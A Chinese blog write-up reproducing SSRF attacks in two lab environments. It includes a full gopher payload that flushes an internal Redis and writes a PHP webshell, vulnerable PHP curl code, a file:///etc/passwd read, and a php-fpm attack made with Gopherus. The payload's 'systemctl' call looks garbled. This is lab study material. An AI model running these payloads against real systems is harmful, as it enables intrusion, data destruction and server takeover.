SSRF漏洞复现

目录

web-ssrfme

ssrf攻击本地fastcgi漏洞复现 

web-ssrfme

该漏洞需要部署在Linux下,拉取docker

映射到8091端口上,直接访问靶场ip的8091端口

进入题目,直接把源码给了,那我们分析源码,源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测, 发现存在ssrf漏洞 

用url传参,一般存在ssrf漏洞,就要往这个方向思考,接下来就要探测可以利用的服务或者协议,想到了6379redis,开启可以进行渗透 。

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

 

我们查看phpinfo,查到了当前主机的内网ip为172.21.0.2,

 

我现在的想法是在这个ip下有没有其他端口开放,这里我们使用bp进行扫端口

在这个IP地址下只开放了80端口,那这个时候好像有些束手无策了,但是我们转换思想,为什么不能存在其他ip地址呢,这毕竟是内网,我们便可以探测该网段上存活的主机了,这里我手动探查172.21.0.1,发现这个ip并没有什么反应

172.21.0.2,这个ip下重新打印了一次当前页面,仔细看后发现这个是我们当前主机ip,这就很正常了

 

172.21.0.3,在这个ip下,出现了不一样的结果, 

我们使用bp扫一下开放那些端口,这个ip就是作者设置的一道坎

 我们发现在172.21.0.3下面redis的6379是打开的,就访问了172.21.0.3:6379之后出现了一下界面

 这是redis的报错,说明这台内网主机上还运行着redis服务。 这个时候第一反应就是redis未授权访问,接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。 

经测试upload目录下是可写的,使用工具goherus生成payload,

因为是get传参,所以我们还需要在进行url code编码, 

gopher://172.21.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520systemctl%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A

 直接拿下flag

ssrf攻击本地fastcgi漏洞复现 

环境:Ubuntu+Nginx+php

靶场代码

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);

echo $responseText;
curl_close($curl);
?>

前端页面如下 

 同样通过url传参测试

?url=http://www.baidu.com

到这里我们发现可以成功返回百度页面,接下来可以利用ssrf漏洞可以使用的协议dict,file,gopher等,那我们就可以先利用file协议查看etc/passwd 

但是我们查看/etc/shadow就不可,因为我们的权限不够,那我们使用dict协议看看服务器本地开启了哪些端口,经过测试,发现没有明显的反馈,那我们可以看一下页面返回值,来猜测 

这里利用了Nginx中间件,那么我们就有理由认为他这里有php-fpm,也有理由认为使用了9000端口。那我们接下来同上题利用gopher协议去伪造请求了,这里我使用了gopherus工具生成exp。

 因为我们是get传参,那我们就需要进行url code编码后才可以

 就实现了命令执行

  • 14
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您好!要在vulhub上复现WebLogic的SSRF漏洞,您可以按照以下步骤进行操作: 1. 首先,确保您已经安装了Docker和Docker Compose,这样您就可以在本地运行vulhub环境。如果您还没有安装它们,请先安装。 2. 下载vulhub的代码库。您可以在GitHub上找到vulhub的代码库,并使用git命令将其克隆到本地。 3. 进入vulhub目录并找到weblogic/ssrf目录。在这个目录中,您将找到一个docker-compose.yml文件,其中包含了启动WebLogic容器所需的配置信息。 4. 根据您的需求编辑docker-compose.yml文件。您可以修改端口映射、环境变量等配置信息。确保您将容器的访问端口映射到主机的某个端口,以便在浏览器中访问。 5. 启动WebLogic容器。通过运行以下命令启动WebLogic容器:`docker-compose up -d`。这会启动WebLogic容器,并将其与您在docker-compose.yml文件中配置的端口进行关联。 6. 访问WebLogic控制台。打开您喜欢的浏览器,并访问`http://localhost:7001/console`(假设您将容器的访问端口映射到了7001端口)。这将打开WebLogic控制台。 7. 在WebLogic控制台中,尝试进行SSRF漏洞复现。您可以根据具体的漏洞利用方法进行操作。请注意,漏洞利用方法可能因不同的漏洞而异,具体的步骤可能因您选择的漏洞而有所不同。 请确保在进行任何漏洞复现前,了解所使用的漏洞的影响和风险,并在合法授权范围内进行测试。此外,建议仅在安全实验室环境中进行漏洞复现,避免对未经授权的系统造成任何伤害。 希望这些步骤对您有帮助!如需进一步了解,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值